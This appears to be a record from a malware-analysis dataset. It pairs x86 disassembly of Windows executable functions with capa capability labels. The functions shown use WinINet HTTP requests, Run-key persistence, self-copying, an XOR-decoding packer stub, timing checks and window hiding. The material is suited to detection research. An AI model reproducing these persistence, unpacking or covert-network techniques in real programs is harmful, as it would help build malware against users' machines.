joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409c99
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d5b0
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409cb9
push dword [ebp + 0xc]
call fcn.00405451
pop ecx
jmp 0x409cbb
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409cdf
xor eax, eax
jmp 0x409df1
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x409d5b
xor eax, eax
jmp 0x409def
mov eax, dword [ebp - 8]
test eax, eax
je 0x409d79
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x409d3d
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409d04
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c5d0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409d0b
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x409d97
and dword [ebp - 4], eax
jmp 0x409de0
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x409dd6
test edi, edi
jbe 0x409dd6
and word [ecx], 0
test edi, edi
jbe 0x409dd6
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x409dd6
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x409db8
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x409df4
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d5b0
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405511
lea eax, [ebp - 0x210]
push eax
call fcn.00405451
xor ebx, ebx
push 0x423ec8
mov word [ebp + eax*2 - 0x212], bx
call fcn.00405451
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040beea
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409e8e
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409e7a
dec edx
je 0x409e72
dec edx
jne 0x409e80
add ecx, reloc.ADVAPI32.dll_RegEnumKeyExW
jmp 0x409e80
add ecx, 0xfffb
jmp 0x409e80
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409e4b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409eb1
xor eax, eax
jmp 0x409f26
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a0
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409ead
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040be3a
cmp edi, ebx
pop ecx
je 0x409ead
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409f24
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bf35
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409f2b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f750
call fcn.0040d258
and dword [ebp - 4], 0
call fcn.0040584d
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x409fa7
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x409f88
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409f67
push 0x12c
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x409f5f
or dword [ebp - 4], 0xffffffff
call fcn.0040d293
ret
Function at 0x409fb1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f740
call fcn.0040d258
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a030
cmp word [ebp - 0x1c], 0xffff
jne 0x40a030
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a04b
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a011
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409ff2
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427ed0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a04b
jmp 0x409fd3
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a051
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d293
ret

Function at 0x40a156
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4110a4], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a176
call fcn.0040a0b5
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a188
mov esi, ebx
call fcn.0040a057
test eax, eax
mov dword [ebp - 8], eax
je 0x40a23d
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a224
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a1e8
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415278]
mov eax, 0x1388
push dword [0x41fdb0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a469
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a48b
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x427ed8]
mov dword [ebp - 4], edi
jmp 0x40a490
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x427edc], edi
je 0x40a4f3
cmp edi, ebx
jne 0x40a4d7
cmp dword [0x427ecc], ebx
jne 0x40a4f7
mov eax, dword [esi + 0x427ed0]
test eax, eax
je 0x40a4f7
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a4ef
and dword [esi + 0x427ed0], 0
and dword [esi + 0x427edc], 0xfffffffe
cmp edi, 2
jne 0x40a4f3
xor eax, eax
cmp dword [esi + 0x427ed4], eax
jne 0x40a4ef
and dword [esi + 0x427edc], 0xfffffffd
jmp 0x40a530
mov eax, ebx
jmp 0x40a564
cmp edi, ebx
jne 0x40a529
lea edi, [esi + 0x427ed0]
mov eax, edi
call fcn.0040a156
cmp dword [0x427ecc], ebx
mov dword [ebp - 8], eax
jne 0x40a523
test eax, eax
je 0x40a523
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x427edc], ebx
jmp 0x40a561
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40a561
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x427ed4], eax
je 0x40a561
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x427edc], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push SysReAllocString
call edi
test eax, eax
jne 0x40ac60
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
test eax, eax
pop ecx
pop ecx
jne 0x40ac8e
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call edi
test eax, eax
je 0x40ac7c
xor eax, eax
jmp 0x40ac8e
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5b0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.opeqmc.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3e0
lea eax, [ebp - 0x1800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
jne 0x40b3e0
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.IueiOod
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3ca
push ebx
push 3
jmp 0x40b3d3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3db
call fcn.0040ab7c
test eax, eax
je 0x40b453
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b453
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
test eax, eax
je 0x40b453
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b4ad
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b498
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0xb
jmp 0x40b4a3
push 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b44c
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4cf
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x411040]
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
jmp 0x40b4e9
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411058], ebx
jmp 0x40b3db

Function at 0x40cd66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd70
repz ret
jmp fcn.0040d00b
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x688b3112
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3f7e6223
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [0x4232e0], eax
mov eax, dword [0x4232e0]
mov dword [0x4232f0], eax
mov dword [0x4232d8], 0
mov dword [0x4232f8], 0
mov dword [0x4231c0], 0
mov dword [0x4232f4], 0
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.0040ba51
push 0x105
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_OemToCharA]
push 0x4231d0
lea eax, [ebp - 0x218]
push eax
call fcn.0040b3af
push 0x4231d0
call fcn.0040ba10
call fcn.004022a3
call fcn.00402117
push dword [ebp + 0x10]
call fcn.0040152c
add esp, 4
call fcn.004025a4
test eax, eax
jne 0x4010d2
lea eax, [ebp - 0x110]
push eax
call fcn.0040ba10
call fcn.00402241
xor eax, eax
jmp 0x4011ee
cmp dword [0x42361c], 0
je 0x401131
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
push dword [ebp + 8]
call fcn.00401d71
add esp, 4
test eax, eax
jne 0x401113
call fcn.00402241
lea eax, [ebp - 0x110]
push eax
call fcn.0040ba10
xor eax, eax
jmp 0x4011ee
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 8]
cmp eax, 0x7d0
jae 0x40112c
jmp 0x401113
call fcn.00401d13
call fcn.00401451
test eax, eax
jne 0x401156
call fcn.00402241
lea eax, [ebp - 0x110]
push eax
call fcn.0040ba10
xor eax, eax
jmp 0x4011ee
cmp dword [0x423614], 0
jne 0x401195
cmp dword [0x423610], 0
jne 0x401195
cmp dword [0x423618], 0
jne 0x401195
call fcn.00402241
lea eax, [ebp - 0x110]
push eax
call fcn.0040ba10
xor eax, eax
jmp 0x4011ee
cmp dword [0x4232dc], 0
jne 0x4011b3
push dword [0x4231c4]
push dword [0x4232ec]
call fcn.00413910
call fcn.00402a07
call fcn.00401347
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.00402a8b
add esp, 4
call fcn.00413a1c
call fcn.004014f6
call fcn.00402241
lea eax, [ebp - 0x110]
push eax
call fcn.0040ba10
mov eax, dword [ebp - 4]
jmp 0x4011ee
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x401d13
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0
push dword [0x421034]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x421034]
call dword [sym.imp.USER32.dll_DestroyWindow]
cmp dword [0x421038], 0
je 0x401d4c
push dword [0x421038]
call dword [sym.imp.GDI32.dll_DeleteObject]
cmp dword [0x42103c], 0
je 0x401d65
push dword [0x42103c]
call dword [sym.imp.GDI32.dll_DeleteObject]
xor eax, eax
jmp 0x401d6c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401d71
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [0x42103c], 0
push 0x1d4c
push dword [0x4232e0]
call dword [sym.imp.USER32.dll_LoadBitmapA]
mov dword [0x421038], eax
cmp dword [0x421038], 0
jne 0x401de1
push 0x42103c
call fcn.0040235f
add esp, 4
mov dword [0x421038], eax
cmp dword [0x421038], 0
jne 0x401de1
push 0x10
push str.Error
push str.Unable_to_locate_process_internal_binary_resource.__Please_contact_your_software_vendor.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x401f18
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x24], 0x401f1d
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [0x4232e0]
mov dword [ebp - 0x18], eax
push 0x3e8
push dword [0x4232e0]
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x14], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x421068
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x401e5a
xor eax, eax
jmp 0x401f18
lea eax, [ebp - 0x40]
push eax
push 0x18
push dword [0x421038]
call dword [sym.imp.GDI32.dll_GetObjectA]
add dword [ebp - 0x3c], 2
add dword [ebp - 0x38], 2
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [ebp - 0x3c]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x44], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [ebp - 0x38]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x48], eax
push 0
push dword [0x4232e0]
push 0
push 0
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push dword [ebp - 0x48]
push dword [ebp - 0x44]
push 0x80800000
push str.DeIsAbtWinName
push str.DeIsAbtClsName
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x401edd
xor eax, eax
jmp 0x401f18
mov eax, dword [ebp - 0x4c]
mov dword [0x421034], eax
push 0x13
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 0x4c]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 5
push dword [ebp - 0x4c]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 0x4c]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
jmp 0x401f18
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40235f
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 4], 0
call fcn.004028a3
test eax, eax
je 0x4023a9
push 0x3e8
push 0x3e9
push dword [0x4232e0]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x9c], eax
jmp 0x4023c5
push 0x3e8
push 0x3e8
push dword [0x4232e0]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x4023d9
xor eax, eax
jmp 0x40259f
push dword [ebp - 0x9c]
push dword [0x4232e0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x1c0], eax
push dword [ebp - 0x9c]
push dword [0x4232e0]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402423
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
jmp 0x40259f
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 4]
add eax, 0x64
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jne 0x40245e
xor eax, eax
jmp 0x40259f
push dword [ebp - 0x1c4]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1bc], 0
jmp 0x402482
inc dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 4], eax
jle 0x4024b1
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x98]
mov al, byte [eax + ecx]
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ebp - 8]
mov byte [ecx + edx], al
jmp 0x40247c
push 1
push 0xaf325de9
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004106bd
push 0x105
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x1b4]
push eax
call fcn.0040b491
push str._bmp23_.bm_
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1001
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0x1b8], eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x1b8]
call dword [sym.imp.KERNEL32.dll__hwrite]
push dword [ebp - 0x1b8]
call dword [sym.imp.KERNEL32.dll__lclose]
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_FreeResource]
push dword [ebp - 0x1c4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 0x1c4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.00414f15
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.00408a1e
cmp dword [ebp - 0xc], 0
je 0x402589
xor eax, eax
jmp 0x40259f
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
jmp 0x40259f
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40272d
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x2c], 1
cmp dword [0x4232e4], 0
je 0x402756
mov dword [ebp - 0x2c], 1
jmp 0x402896
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402657
test eax, eax
je 0x402777
mov dword [ebp - 0x2c], 7
jmp 0x402896
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x2c], 2
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x34], eax
jmp 0x4027d4
mov dword [ebp - 0x2c], 2
jmp 0x402896
mov dword [ebp - 0x2c], 2
jmp 0x402896
mov dword [ebp - 0x2c], 4
jmp 0x402896
mov dword [ebp - 0x2c], 3
jmp 0x402896
mov dword [ebp - 0x2c], 5
jmp 0x402896
cmp dword [ebp - 0x34], 0x1e6
ja 0x4027f9
je 0x402793
cmp dword [ebp - 0x34], 0x182
je 0x402793
jmp 0x402896
cmp dword [ebp - 0x34], 0x259
ja 0x40281e
je 0x4027c3
cmp dword [ebp - 0x34], 0x24a
je 0x402793
jmp 0x402896
cmp dword [ebp - 0x34], 0x26c
ja 0x402850
je 0x4027c3
cmp dword [ebp - 0x34], 0x25b
jb 0x402896
cmp dword [ebp - 0x34], 0x25c
jbe 0x4027c3
jmp 0x402896
cmp dword [ebp - 0x34], 0x35c
je 0x40279f
cmp dword [ebp - 0x34], 0x7d0
je 0x4027ab
cmp dword [ebp - 0x34], 0xbb8
je 0x4027ab
cmp dword [ebp - 0x34], 0xfa0
je 0x4027ab
cmp dword [ebp - 0x34], 0x5248
je 0x4027b7
jmp 0x402896
mov eax, dword [ebp - 0x2c]
jmp 0x40289e
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40397f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x105
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10c]
push eax
call fcn.0040b491
mov dword [ebp - 4], 1
push dword [ebp - 4]
push 0x421244
lea eax, [ebp - 0x10c]
push eax
push 0x42124c
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push dword [ebp + 8]
call fcn.0040a0a1
test eax, eax
je 0x403a0a
inc dword [ebp - 4]
push dword [ebp - 4]
push str._detmp
lea eax, [ebp - 0x10c]
push eax
push 0x42125c
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
jmp 0x4039d2
mov eax, 1
jmp 0x403a14
pop edi
pop esi
pop ebx
leave
ret 4